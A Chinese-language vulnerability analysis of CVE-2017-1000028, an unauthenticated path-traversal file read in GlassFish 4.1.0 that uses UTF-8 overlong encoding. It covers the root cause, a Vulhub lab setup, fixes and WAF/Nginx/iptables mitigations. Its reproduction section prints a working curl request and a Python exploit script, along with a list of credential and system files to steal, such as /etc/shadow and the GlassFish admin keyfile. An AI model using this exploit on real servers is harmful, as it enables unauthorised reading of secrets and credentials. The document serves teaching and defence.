一、漏洞简介

1.1 漏洞背景

GlassFish 是 Oracle 公司提供的一个开源 Java EE 应用服务器实现,广泛用于企业级 Java 应用部署。该服务器包含 Web 容器、EJB 容器、管理控制台等组件,默认监听 4848 端口提供管理界面。

在 GlassFish 4.1.0 及更早版本中,URL 解码组件存在一个历史悠久的编码处理缺陷。该缺陷源于 Java 生态系统中对 UTF-8 Overlong Encoding(超长编码)处理的不一致性。UTF-8 Overlong Encoding 是一种将单字节 ASCII 字符编码为多字节 UTF-8 序列的非标准方式,虽然在 Unicode 规范中被明确禁止,但许多 Java 实现并未严格检查这种情况。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2017-1000028
危害等级 HIGH / 7.5
漏洞类型 GlassFish UTF-8 Overlong Encoding 任意文件读取漏洞
披露时间 2017-07-17
影响组件 GlassFish
属性 详情
CVE编号 CVE-2017-1000028
危害等级 高危(High)
CVSS评分 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
漏洞类型 路径遍历(Path Traversal)/ 任意文件读取
CWE分类 CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
<hr />

补充核验信息:公开时间:2017-07-17;NVD 评分:7.5(HIGH);CWE:CWE-22。

二、影响范围

2.1 受影响的版本

  • GlassFish 4.1.0 及所有更早版本
  • Sun GlassFish Enterprise Server 2.1, 2.1.1, 3.0.1
  • Sun Java System Application Server 9.1

2.2 不受影响的版本

  • GlassFish 5.0 及以上版本(已修复)
  • Eclipse GlassFish(开源分支,最新版本)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. GlassFish 服务对外开放,可被远程访问
  2. 管理端口(4848)或 HTTP 端口(8080)可访问
  3. 无需认证即可利用漏洞
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

UTF-8 编码基础知识:

UTF-8 是一种变长编码,使用 1-4 个字节表示 Unicode 字符:

Unicode 范围 UTF-8 编码格式
U+0000 ~ U+007F 0xxxxxxx
U+0080 ~ U+07FF 110xxxxx 10xxxxxx
U+0800 ~ U+FFFF 1110xxxx 10xxxxxx 10xxxxxx
U+10000 ~ U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Overlong Encoding 攻击原理:

以点号 . (ASCII 0x2E, Unicode U+002E) 为例:

标准编码(单字节):

0x2E  00101110 (二进制)

Overlong Encoding(双字节非法编码):

原始:00101110
补零:00000101110
分组:00000 | 101110
加前缀:11000000 | 10101110
结果:0xC0 0xAE

GlassFish 在处理 URL 时,会将 %C0%AE 解码为点号 .,而安全过滤器通常只检查 %2e 或直接的字面量 .,导致攻击者可以绑过安全检查。

目录遍历构造:

攻击者使用 %c0%ae%c0%ae/ 替代 ../,构造如下路径:

/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/.../etc/passwd

这会被服务器解析为:

/theme/META-INF/../../../.../etc/passwd

从而遍历到系统任意目录。

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置: GlassFish 的 URL 解码模块

问题出现在 com.sun.enterprise.web.WebConnector 和相关的 URI 解码逻辑中:

// 简化的伪代码示例
public String decodeURL(String encoded) {
    // Java 默认的 UTF-8 解码器接受 Overlong Encoding
    // 这是问题的根源
    return URLDecoder.decode(encoded, "UTF-8");
}

根本原因分析:

  1. Java 的 Modified UTF-8:Java 在某些组件中使用了非标准的 "Modified UTF-8",它允许 Overlong Encoding

  2. 路径安全检查绕过

// 安全检查只检查字面量
if (path.contains("../") || path.contains("..\\")) {
    throw new SecurityException("Path traversal detected");
}
// 但不检查 %c0%ae%c0%ae
  1. 解码顺序问题:路径安全检查在 URL 解码之前执行,导致编码后的遍历字符未被检测

正确的修复方式:

public String safeDecodePath(String encoded) {
    // 先解码
    String decoded = URLDecoder.decode(encoded, "UTF-8");

    // 规范化路径
    Path normalized = Paths.get(decoded).normalize();

    // 检查是否超出允许目录
    Path basePath = Paths.get("/allowed/directory");
    if (!normalized.startsWith(basePath)) {
        throw new SecurityException("Path traversal detected");
    }

    return normalized.toString();
}
<hr />

四、漏洞复现(可选)

4.1 环境搭建

使用 Docker 和 Vulhub 镜像快速搭建漏洞环境:

# 克隆 vulhub 仓库
git clone https://github.com/vulhub/vulhub.git
cd vulhub/glassfish/CVE-2017-1000028

# 创建 docker-compose.yml
cat > docker-compose.yml << 'EOF'
services:
  glassfish:
    image: vulhub/glassfish:4.1
    ports:
      - "4848:4848"
      - "8080:8080"
    environment:
      - ADMIN_PASSWORD=vulhub_default_password
EOF

# 启动环境
docker compose up -d

# 等待服务启动(约 30-60 秒)
docker compose logs -f

环境验证:

访问 http://your-ip:4848 确认管理控制台可访问。

4.2 PoC 演示与测试过程

基础 PoC - 读取 /etc/passwd:

# 使用 curl 发送请求
curl -k "https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"

Python 自动化 PoC:

#!/usr/bin/env python3
"""
GlassFish CVE-2017-1000028 任意文件读取漏洞 PoC
"""

import sys
import requests
import urllib3

# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(target_ip, file_path):
    """
    利用漏洞读取目标文件

    :param target_ip: 目标 IP 地址
    :param file_path: 要读取的文件路径
    :return: 文件内容
    """
    # 构造 Overlong Encoding 的目录遍历路径
    # %c0%ae = . (点号)
    # 构造足够多的 ../ 以到达根目录
    traversal = "%c0%ae%c0%ae/" * 10

    # 移除开头的 /
    if file_path.startswith('/'):
        file_path = file_path[1:]

    # 构造完整 URL
    url = f"https://{target_ip}:4848/theme/META-INF/{traversal}{file_path}"

    try:
        print(f"[*] 目标: {target_ip}")
        print(f"[*] 读取文件: /{file_path}")
        print(f"[*] 请求 URL: {url}")
        print("-" * 60)

        response = requests.get(
            url,
            verify=False,
            timeout=10,
            headers={
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            }
        )

        if response.status_code == 200:
            print("[+] 成功读取文件内容:")
            print("=" * 60)
            print(response.text[:5000])  # 限制输出长度
            print("=" * 60)
            return response.text
        else:
            print(f"[-] 请求失败,状态码: {response.status_code}")
            return None

    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")
        return None

def main():
    if len(sys.argv) < 3:
        print("用法: python exploit.py <目标IP> <文件路径>")
        print("示例: python exploit.py 192.168.1.100 etc/passwd")
        print("      python exploit.py 192.168.1.100 etc/shadow")
        sys.exit(1)

    target = sys.argv[1]
    file_path = sys.argv[2]

    exploit(target, file_path)

if __name__ == "__main__":
    main()

使用方法:

# 安装依赖
pip install requests

# 运行 PoC
python exploit.py 192.168.1.100 etc/passwd

读取敏感文件列表:

# Linux 系统
/etc/passwd          # 用户信息
/etc/shadow          # 密码哈希(需要 root 权限)
/etc/hosts           # 主机解析
/proc/self/environ   # 环境变量

# GlassFish 配置
glassfish/domains/domain1/config/domain.xml     # 域配置
glassfish/domains/domain1/config/admin-keyfile  # 管理员凭证
glassfish/domains/domain1/config/keyfile        # 用户凭证
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

当前版本 建议升级版本 说明
GlassFish 4.1.0 及以下 GlassFish 5.0 或更高 官方已修复
Sun GlassFish Enterprise Server 迁移至 Oracle GlassFish 5.x 旧版本不再维护

升级步骤:

  1. 备份现有配置和应用
  2. 下载 GlassFish 5.0+
  3. 迁移域配置
  4. 重新部署应用

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:WAF 规则(推荐)

在 Web 应用防火墙中添加规则,拦截包含 Overlong Encoding 的请求:

# ModSecurity 规则示例
SecRule REQUEST_URI "@contains %c0%ae" \
    "id:1001,phase:1,deny,status:403,msg:'Possible UTF-8 Overlong Encoding Attack'"

方案二:反向代理过滤

使用 Nginx 作为反向代理:

server {
    listen 443 ssl;
    server_name glassfish.example.com;

    location / {
        # 检测并拒绝 Overlong Encoding
        if ($request_uri ~* "%c0%ae|%c1%9c|%c0%af") {
            return 403;
        }

        proxy_pass http://localhost:4848;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

方案三:网络隔离

# 限制 4848 端口仅允许内网访问
iptables -A INPUT -p tcp --dport 4848 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 4848 -j DROP
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • Oracle Critical Patch Update: https://www.oracle.com/security-alerts/
  • GlassFish Security Page: https://github.com/eclipse-ee4j/glassfish/security

6.2 其他技术参考资料

  • Trustwave Advisory TWSL2015-016: https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/
  • UTF-8 Overlong Encoding 详解: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
  • Vulhub 漏洞环境: https://github.com/vulhub/vulhub/tree/master/glassfish/CVE-2017-1000028
  • OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
  • CWE-22: https://cwe.mitre.org/data/definitions/22.html